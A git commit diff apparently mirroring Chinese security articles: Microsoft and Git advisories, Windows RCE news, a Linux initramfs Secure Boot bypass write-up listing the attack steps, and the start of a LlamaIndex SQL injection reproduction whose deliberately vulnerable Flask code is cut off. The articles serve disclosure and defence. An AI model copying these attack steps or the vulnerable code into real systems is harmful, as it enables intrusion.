mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【安全圈】Linux启动漏洞可绕过Secure Boot：攻击者仅需物理接触即可植入持久木马、酌情处置 | Redis hyperloglog 命令远程代码执行漏洞利用条件较多、Windows 系统曝 wormable 级 RCE 漏洞，CVSS 评分 9.8、安钥®「漏洞防治标准作业程序（SOP）」征文启示 [2025年第27期，总第45期]、【成功复现】LlamaIndex SQL注入漏洞(CVE-2025-1750)、CNNVD | 关于微软多个安全漏洞的通报、微软紧急修复高危蠕虫级RCE漏洞，威胁全网Windows系统、2025-7-10日漏洞情报汇总、【已复现】Git 远程代码执行漏洞(CVE-2025-48384)、Windows Update 服务权限提升漏洞-CVE-2025-48799、
This commit is contained in:
test committed
1 parent
8f32cc726a
commit
fd5b006b2c
11 files changed
+1273
-1
No files matched your search
@@ -15900,5 +15900,15 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523530&idx=2&sn=e19607b9a1bbf6bc70c902e40f0de1d3": "Fortinet 修复FortiWeb 中的严重SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNjIxNDQyMQ==&mid=2247498199&idx=1&sn=f4175317ea154b19d2967a61ba9f6778": "【已复现】泛微e-cology 前台SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4MTkwMTI5Mw==&mid=2247490153&idx=1&sn=f4e566d0f34c146c4e9d3b9d348e2812": "某朋克风NFT数字藏品存在前台文件上传漏洞【0day】",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMjYxODcyNA==&mid=2247486256&idx=1&sn=e695f0ac5253981b19b466c133364824": "【0day挖掘】怎么用“Rotor Goddess”轻松爆出过万资产的漏洞，以及其他小洞的出货方式与流程"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMjYxODcyNA==&mid=2247486256&idx=1&sn=e695f0ac5253981b19b466c133364824": "【0day挖掘】怎么用“Rotor Goddess”轻松爆出过万资产的漏洞，以及其他小洞的出货方式与流程",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070569&idx=2&sn=190752ffac23d6be9ddec582d3384a58": "【安全圈】Linux启动漏洞可绕过Secure Boot：攻击者仅需物理接触即可植入持久木马",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5MTc3ODY4Mw==&mid=2247507834&idx=1&sn=cb2a5fffe56db189abdb84f8cf483df4": "酌情处置 | Redis hyperloglog 命令远程代码执行漏洞利用条件较多",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597040&idx=2&sn=cdca0a3babe6585f09000478395ba7bf": "Windows 系统曝 wormable 级 RCE 漏洞，CVSS 评分 9.8",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484948&idx=1&sn=8a4dc616eb151ed17485aaf84fc0b481": "安钥®「漏洞防治标准作业程序（SOP）」征文启示 [2025年第27期，总第45期]",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503463&idx=1&sn=6ef0546654e72e110fb0e22dc6c2a065": "【成功复现】LlamaIndex SQL注入漏洞(CVE-2025-1750)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664245407&idx=2&sn=13edbb43d857ccee5d8e4bb9ad8106be": "CNNVD | 关于微软多个安全漏洞的通报",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547132&idx=1&sn=cd484270f0cd9ed5dc17fdeafb2e76dd": "微软紧急修复高危蠕虫级RCE漏洞，威胁全网Windows系统",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3MTY3NzUwMQ==&mid=2247490613&idx=1&sn=bf728f4cff492892dae89570b62f83db": "2025-7-10日漏洞情报汇总",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM3NTU5MA==&mid=2247494180&idx=1&sn=b0353fe95161dbbe5a133dd5fa564d22": "【已复现】Git 远程代码执行漏洞(CVE-2025-48384)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI5MDE5NDcxMA==&mid=2650936291&idx=1&sn=c538ba31126da0a3fc74f6d7ae3694e6": "Windows Update 服务权限提升漏洞-CVE-2025-48799"
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
# 2025-7-10日漏洞情报汇总
|
||||
原创 小艾 小艾搞安全 2025-07-10 11:49
|
||||
|
||||
今日漏洞情报汇总如下表
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2025-07-09漏洞情报汇总如下表
|
||||
|
||||
|
||||
|
||||
2025-07-03漏洞情报汇总如下表
|
||||
|
||||
|
||||
|
||||
具体漏洞情报已同步羽雀，地址如下：
|
||||
|
||||
https://www.yuque.com/xiaoai-7mfyv/nl9lag?#
|
||||
|
||||
《2025HW漏洞情报》 密码：smaf
|
||||
|
||||
内部圈子
|
||||
|
||||
由于敏感时期，POC不再对外公开
|
||||
|
||||
POC详情已放入博主内部圈子中，不再对外网开放，每天更新
|
||||
|
||||
博主微信：xfclyyzyq
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
# CNNVD | 关于微软多个安全漏洞的通报
|
||||
中国信息安全 2025-07-10 09:36
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**扫码订阅《中国信息安全》**
|
||||
|
||||
|
||||
邮发代号 2-786
|
||||
|
||||
征订热线：010-82341063
|
||||
|
||||
|
||||
|
||||
**漏洞情况**
|
||||
|
||||
近日，微软官方发布了多个安全漏洞的公告，其中微软产品本身漏洞135个，影响到微软产品的其他厂商漏洞10个。微软Microsoft Windows、Microsoft Windows Event Tracing、Microsoft Universal Print Management Service、Microsoft Windows Secure Kernel Mode等多个产品和系统受漏洞影响。目前，微软官方已经发布了漏洞修复补丁，建议用户及时确认是否受到漏洞影响，尽快采取修补措施。
|
||||
|
||||
## 一漏洞介绍
|
||||
|
||||
|
||||
2025年7月8日，微软发布了2025年7月份安全更新，共145个漏洞的补丁程序，CNNVD对这些漏洞进行了收录。本次更新主要涵盖了Microsoft Windows 和 Windows 组件、Microsoft Windows Event Tracing、Microsoft Universal Print Management Service、Microsoft Windows Secure Kernel Mode、Microsoft Windows Remote Desktop Licensing Service、Microsoft Windows Shell等。CNNVD对其危害等级进行了评价，其中超危漏洞1个，高危漏洞103个，中危漏洞38个，低危漏洞3个。
|
||||
|
||||
微软多个产品和系统版本受漏洞影响，具体影响范围可访问微软官方网站查询：
|
||||
|
||||
https://portal.msrc.microsoft.com/zh-cn/security-guidance
|
||||
|
||||
## 二漏洞详情
|
||||
|
||||
|
||||
此次更新共145个漏洞的补丁程序，包括128个新增漏洞的补丁程序、7个更新漏洞的补丁程序和10个影响微软产品的其他厂商漏洞的补丁程序。
|
||||
|
||||
此次更新共包括128个新增漏洞的补丁程序，其中超危漏洞1个，高危漏洞97个，中危漏洞27个，低危漏洞3个。
|
||||
|
||||
|
||||
|
||||
此次更新共包括7个更新漏洞的补丁程序，其中高危漏洞3个，中危漏洞4个。
|
||||
|
||||
|
||||
|
||||
此次更新共包括10个影响微软产品的其他厂商漏洞的补丁程序，其中高危漏洞3个，中危漏洞7个。
|
||||
|
||||
|
||||
|
||||
## 三修复建议
|
||||
|
||||
|
||||
目前，微软官方已经发布补丁修复了上述漏洞，建议用户及时确认漏洞影响，尽快采取修补措施。微软官方补丁下载地址：
|
||||
|
||||
https://msrc.microsoft.com/update-guide/en-us
|
||||
|
||||
CNNVD将继续跟踪上述漏洞的相关情况，及时发布相关信息。如有需要，可与CNNVD联系。联系方式: cnnvd@itsec.gov.cn
|
||||
|
||||
（来源：CNNVD）
|
||||
|
||||
|
||||
|
||||
**分享网络安全知识 强化网络安全意识**
|
||||
|
||||
**欢迎关注《中国信息安全》杂志官方抖音号**
|
||||
|
||||
|
||||
|
||||
|
||||
**《中国信息安全》杂志倾力推荐**
|
||||
|
||||
**“企业成长计划”**
|
||||
|
||||
|
||||
**点击下图 了解详情**
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664162643&idx=1&sn=fcc4f3a6047a0c2f4e4cc0181243ee18&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
# Windows Update 服务权限提升漏洞-CVE-2025-48799
|
||||
原创 匿名 安全微焦点 2025-07-10 05:37
|
||||
|
||||
成功利用该漏洞的攻击者可以获得哪些特权？
|
||||
|
||||
成功利用此漏洞的攻击者可以在 “NT AUTHORITY\SYSTEM” 账户的安全上下文中创建、修改或删除文件。
|
||||
|
||||
影响范围：Windows 10（部分版本）和 Windows 11 系统
|
||||
|
||||
漏洞成因与利用方式
|
||||
|
||||
核心原因：在安装应用时，如果系统配置了多个硬盘并启用了“存储感知”（Storage Sense），攻击者可通过恶意符号链接利用“link following”逻辑缺陷攻击 Windows Update Service。
|
||||
|
||||
|
||||
利用路径：
|
||||
|
||||
配置将应用安装路径转移到第二硬盘；
|
||||
|
||||
Windows Update 服务误将符号链接解析为合法路径；
|
||||
|
||||
在安装或更新过程中，攻击者可借此删除、替换或篡改系统关键文件；
|
||||
|
||||
最终以较高权限执行任意代码 —— 提权为 SYSTEM 级
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
poc点击“查看原文”
|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# Windows 系统曝 wormable 级 RCE 漏洞，CVSS 评分 9.8
|
||||
看雪学苑 看雪学苑 2025-07-10 10:05
|
||||
|
||||
微软于2025年7月8日发布关键安全更新，以解决 CVE-2025-47981 漏洞。这是一个在 SPNEGO 扩展协商（NEGOEX）安全机制中存在的严重堆缓冲区溢出漏洞，影响多个 Windows 客户端和服务器版本。
|
||||
|
||||
|
||||
该漏洞的 CVSS 评分为 9.8 分（满分 10 分），属于最高严重级别，可能导致无需用户交互的远程代码执行。其被归类为 CWE-122，即堆基于缓冲区溢出弱点，可被远程利用。从 CVSS 向量字符串来看，这是一种基于网络的攻击，复杂性低，无需特权或用户交互，却会对机密性、完整性和可用性造成高影响。
|
||||
|
||||
|
||||
安全研究人员评估此漏洞 “更可能被利用”，不过在披露时，尚未有公开利用程序或活跃利用的报告。此漏洞对运行 Windows 10 1607 及以上版本的客户端机器影响尤为明显，因为这些机器上 “网络安全：允许对此计算机的 PKU2U 身份验证请求使用在线身份” 这一组策略对象默认处于启用状态。
|
||||
|
||||
|
||||
攻击者可通过向受影响的服务器发送恶意消息来利用该漏洞，有可能获得远程代码执行能力。堆缓冲区溢出发生在 NEGOEX 处理机制内，使攻击者能够覆盖内存结构并控制程序执行流程。这种 wormable 特性意味着该漏洞可能在联网系统间传播，无需用户干预。
|
||||
|
||||
|
||||
受影响的产品众多，涵盖 Windows 10（1607 及以上版本）、Windows 11（23H2、24H2 版本）、Windows Server 2008 R2 至 Server 2025，包括 x64、x86 和 ARM64 架构以及 Server Core 安装。
|
||||
|
||||
|
||||
此次发布的安全更新针对不同 Windows 配置，包括 Windows Server 2025（版本 10.0.26100.4652）、Windows 11 24H2 版本（版本 10.0.26100.4652）、Windows Server 2022 23H2 版本（版本 10.0.25398.1732）以及包括 Windows Server 2008 R2（版本 6.1.7601.27820）在内的 legacy 系统。
|
||||
|
||||
|
||||
各组织应优先立即部署这些安全更新，尤其是面向互联网的系统和域控制器。补丁可通过 Windows Update、微软更新目录和 Windows Server Update Services（WSUS）获取。
|
||||
|
||||
|
||||
|
||||
资讯来源：
|
||||
cybersecuritynews
|
||||
|
||||
转载请注明出处和本文链接
|
||||
|
||||
|
||||
﹀
|
||||
|
||||
﹀
|
||||
|
||||
﹀
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**球分享**
|
||||
|
||||
|
||||
|
||||
**球点赞**
|
||||
|
||||
|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||
|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,178 @@
|
||||
# 【安全圈】Linux启动漏洞可绕过Secure Boot：攻击者仅需物理接触即可植入持久木马
|
||||
安全圈 2025-07-09 11:02
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
网络攻击
|
||||
|
||||
|
||||
|
||||
|
||||
研究人员披露，现代Linux发行版存在**严重启动安全漏洞**
|
||||
，攻击者只需**短暂物理接触**
|
||||
，即可通过篡改initramfs
|
||||
（初始内存文件系统）绕过Secure Boot机制，**在系统重启后仍可保持持久控制**
|
||||
。
|
||||
|
||||
该漏洞利用了Linux系统启动失败期间**可访问的调试Shell接口**
|
||||
，使得攻击者能够**注入长期驻留的恶意程序**
|
||||
，即便用户随后输入了正确的加密分区密码，攻击仍能持续生效。
|
||||
### 核心要点概览：
|
||||
1. 攻击者通过利用initramfs
|
||||
中调试Shell，在多次输入错误密码后**绕过Secure Boot保护**
|
||||
；
|
||||
|
||||
1. 可将恶意木马植入未签名的initramfs
|
||||
组件中，实现系统重启后的**跨会话驻留**
|
||||
；
|
||||
|
||||
1. **Ubuntu 25.04、Debian 12、Fedora 42、AlmaLinux 10**
|
||||
均受影响，**OpenSUSE Tumbleweed**
|
||||
默认安全；
|
||||
|
||||
1. 添加内核参数（如Ubuntu加 panic=0
|
||||
，RedHat系加 rd.shell=0 rd.emergency=halt
|
||||
）可禁用调试Shell并缓解风险。
|
||||
|
||||
### 漏洞细节：Linux initramfs未签名组件被滥用
|
||||
|
||||
安全研究员 **Alexander Moch**
|
||||
表示，该漏洞的核心在于Linux引导流程中的**initramfs
|
||||
未签名性**。作为解密根分区的关键引导组件，initramfs
|
||||
默认并未采用签名保护，这成为整个Secure Boot链条中的**“薄弱环节”**。
|
||||
|
||||
在多次输入加密根分区密码错误后，多个主流发行版会**自动进入调试Shell模式**
|
||||
，为攻击者提供可操作窗口。
|
||||
###
|
||||
### 攻击过程：植入木马脚本并保持长期控制
|
||||
|
||||
攻击者可插入U盘，借助调试Shell加载恶意工具链，过程如下：
|
||||
1. 使用 unmkinitramfs
|
||||
解包当前系统的initramfs
|
||||
；
|
||||
|
||||
1. 在 scripts/local-bottom/
|
||||
目录中植入**恶意hook脚本**
|
||||
；
|
||||
|
||||
1. 利用 cpio
|
||||
和 gzip
|
||||
等工具重新打包initramfs
|
||||
；
|
||||
|
||||
1. 覆盖原系统的initramfs
|
||||
，攻击完成。
|
||||
|
||||
Moch展示的PoC中，恶意hook在系统解密根分区后执行，可将文件系统挂载为可写，并建立持久后门。
|
||||
|
||||
由于**攻击未涉及签名内核镜像修改**
|
||||
，且完全遵循正常引导流程，因此可规避常规安全防护机制，隐蔽性极强。
|
||||
### 不同发行版受影响程度不同
|
||||
|
||||
研究测试显示，不同Linux发行版对该攻击的防御能力不一：
|
||||
- **Ubuntu 25.04**
|
||||
：仅需三次密码错误，即可触发调试Shell；
|
||||
|
||||
- **Debian 12**
|
||||
：长按回车约一分钟也可进入Shell模式；
|
||||
|
||||
- **Fedora 42 / AlmaLinux 10**
|
||||
：虽然默认initramfs中无usb_storage
|
||||
模块，但攻击者可通过 Ctrl+Alt+Delete
|
||||
重启后进入救援模式规避；
|
||||
|
||||
- **OpenSUSE Tumbleweed**
|
||||
：采用默认引导分区加密机制，**可阻止攻击路径**
|
||||
。
|
||||
|
||||
该攻击符合所谓“**邪恶女仆攻击（Evil Maid）**
|
||||
”场景——即攻击者仅需一次短暂的物理接触，即可实现系统持久性控制。
|
||||
###
|
||||
### 防护建议：添加内核参数，构建完整启动安全链
|
||||
|
||||
针对该攻击路径，研究人员提出以下防御措施：
|
||||
1. **禁用调试Shell访问**
|
||||
：
|
||||
|
||||
1. Ubuntu系：内核参数中添加 panic=0
|
||||
；
|
||||
|
||||
1. RedHat系：添加 rd.shell=0 rd.emergency=halt
|
||||
。
|
||||
|
||||
1. **强化启动过程控制**
|
||||
：
|
||||
|
||||
1. 启用**Bootloader密码保护**
|
||||
；
|
||||
|
||||
1. 对启动分区启用 **LUKS加密**
|
||||
；
|
||||
|
||||
1. 开启SSD原生硬件加密。
|
||||
|
||||
1. **部署高级安全机制**
|
||||
：
|
||||
|
||||
1. 使用 **UKI（统一内核映像）**
|
||||
：将内核与initramfs封装为**单一签名二进制文件**
|
||||
；
|
||||
|
||||
1. 启用 **TPM（受信平台模块）**
|
||||
：将initramfs完整性写入PCR（平台配置寄存器），防止篡改。
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】中国男子在意大利被捕 美方指控其涉疫苗间谍活动](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070555&idx=1&sn=6202ead586d7e2b376c3fcd1d53d31e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】Hunters International 勒索组织宣布关闭，重塑品牌为 “World Leaks” 专注数据勒索](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070555&idx=2&sn=de13272b722142292b64c67f3b92c93f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】勒索软件团伙 SatanLock 宣布关闭，声称将泄露所有被盗数据](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070555&idx=3&sn=5266c0ef59045ec30e5bb45ac8a72972&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】《使命召唤：二战》曝严重漏洞，PC玩家遭远程黑客攻击，游戏被紧急下线](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070555&idx=4&sn=a0045b414dc83b5ccab5d88ec4c10558&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,161 @@
|
||||
# 【已复现】Git 远程代码执行漏洞(CVE-2025-48384)
|
||||
原创 360漏洞研究院 360漏洞研究院 2025-07-09 09:39
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;background-color: rgb(100, 130, 228);box-sizing: border-box;padding: 0px;"><section style="text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞概述</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞名称</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Git 远程代码执行漏洞</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞编号</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">CVE-2025-48384</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公开时间</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2025-07-08</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">POC状态</span></span></strong></p></section></td><td data-colwidth="20.0000%" width="20.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">已公开</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞类型</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">远程代码执行</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);pLine truncated
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
影响组件
|
||||
|
||||
|
||||
|
||||
**Git**
|
||||
是一个由 Linus Torvalds 创建的分布式版本控制系统，用于跟踪文件的变化，协调多人协作开发软件。它被广泛应用于软件开发、配置管理和内容管理等领域。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
近日，Git 官方披露了一个**严重**
|
||||
的**远程代码执行**
|
||||
漏洞(**CVE-2025-48384**
|
||||
)，该漏洞影响多个版本。攻击者可以通过构造特殊的 `.gitmodules` 文件，利用 Git 解析配置文件时对回车符(CR)的处理逻辑缺陷，在受害者使用
|
||||
git clone 命令时**执行任意代码**
|
||||
，相当于攻击者获得了受害者系统的"**操作权**
|
||||
"。
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**漏洞复现******
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
CVE-2025-48384 Git 远程代码执行漏洞
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**漏洞影响范围******
|
||||
|
||||
|
||||
|
||||
CVE-2025-48384影响以下版本的 Git 产品：
|
||||
|
||||
Git < 2.43.7
|
||||
|
||||
2.44.* <= Git < 2.44.4
|
||||
|
||||
2.45.* <= Git < 2.45.4
|
||||
|
||||
2.46.* <= Git < 2.46.4
|
||||
|
||||
2.47.* <= Git < 2.47.3
|
||||
|
||||
2.48.* <= Git < 2.48.2
|
||||
|
||||
2.49.* <= Git < 2.49.1
|
||||
|
||||
2.50.* <= Git < 2.50.1
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**修复建议******
|
||||
|
||||
|
||||
|
||||
**正式防护方案**
|
||||
|
||||
针对CVE-2025-48384漏洞，Git 官方已经发布了漏洞修复版本，请立即更新到安全版本：
|
||||
|
||||
- Git 2.43.7 或更高版本
|
||||
|
||||
- Git 2.44.4 或更高版本
|
||||
|
||||
- Git 2.45.4 或更高版本
|
||||
|
||||
- Git 2.46.4 或更高版本
|
||||
|
||||
- Git 2.47.3 或更高版本
|
||||
|
||||
- Git 2.48.2 或更高版本
|
||||
|
||||
- Git 2.49.1 或更高版本
|
||||
|
||||
- Git 2.50.1 或更高版本
|
||||
|
||||
|
||||
**临时缓解措施**
|
||||
|
||||
如果无法立即升级 Git 版本，可以考虑以下临时缓解措施：
|
||||
|
||||
1. 尽量只从受信任的源(如官方仓库、知名组织)克隆代码。
|
||||
|
||||
2. 避免使用 `**--recursive**
|
||||
` 或 `**--recurse-submodules**
|
||||
` 选项克隆不受信任的仓库。
|
||||
|
||||
3. 禁用自动子模块初始化。
|
||||
```
|
||||
git config --global submodule.recurse false
|
||||
```
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**时间线**
|
||||
|
||||
|
||||
|
||||
2025年7月9日，360漏洞研究院发布本安全风险通告。
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2025-48384
|
||||
|
||||
https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384
|
||||
|
||||
https://github.com/git/git/security/advisories/GHSA-vwqx-4fm8-6qc9
|
||||
|
||||
|
||||
**08**
|
||||
|
||||
更多漏洞情报
|
||||
|
||||
|
||||
|
||||
建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
# 【成功复现】LlamaIndex SQL注入漏洞(CVE-2025-1750)
|
||||
原创 弥天安全实验室 弥天安全实验室 2025-07-10 04:40
|
||||
|
||||
#
|
||||
|
||||
网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x00写在前面**
|
||||
|
||||
**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！**
|
||||
|
||||
|
||||
|
||||
|
||||
**0x01漏洞介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
LlamaIndex是LlamaIndex开源的一个 LLM 应用程序的数据框架。
|
||||
|
||||
LlamaIndex v0.12.19版本存在SQL注入漏洞，该漏洞源于ref_doc_id参数操作不当导致SQL注入，可能导致远程代码执行。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x02影响版本**
|
||||
|
||||
llama_index <=0.12.19
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x03漏洞复现**
|
||||
|
||||
1.漏洞环境搭建
|
||||
|
||||
搭建环境源代码
|
||||
```
|
||||
from flask import Flask, request, jsonify, render_template
|
||||
import os
|
||||
import numpy as np
|
||||
from llama_index.vector_stores.duckdb import DuckDBVectorStore
|
||||
from llama_index.core.schema import TextNode
|
||||
app = Flask(__name__)
|
||||
persist_dir = "./persist"
|
||||
os.makedirs(persist_dir, exist_ok=True)
|
||||
vector_store = DuckDBVectorStore("chatbot.duckdb", persist_dir=persist_dir,recreate_table=True)
|
||||
def add_document(doc_id, text, category):
|
||||
embedding = np.random.rand(1536).tolist()
|
||||
text_node = TextNode(id_=doc_id, text=text, embedding=embedding, metadata={"category": category})
|
||||
vector_store.add([text_node])
|
||||
add_document("doc_1", "Machine learning is amazing!", "AI")
|
||||
add_document("doc_2", "Deep learning improves natural language processing.", "NLP")
|
||||
add_document("doc_3", "DuckDB is great for handling large datasets.", "Database")
|
||||
@app.route('/delete', methods=['POST'])
|
||||
def ask():
|
||||
data = request.get_json()
|
||||
doc_id = data.get('doc_id')
|
||||
vector_store.delete(ref_doc_id=doc_id)
|
||||
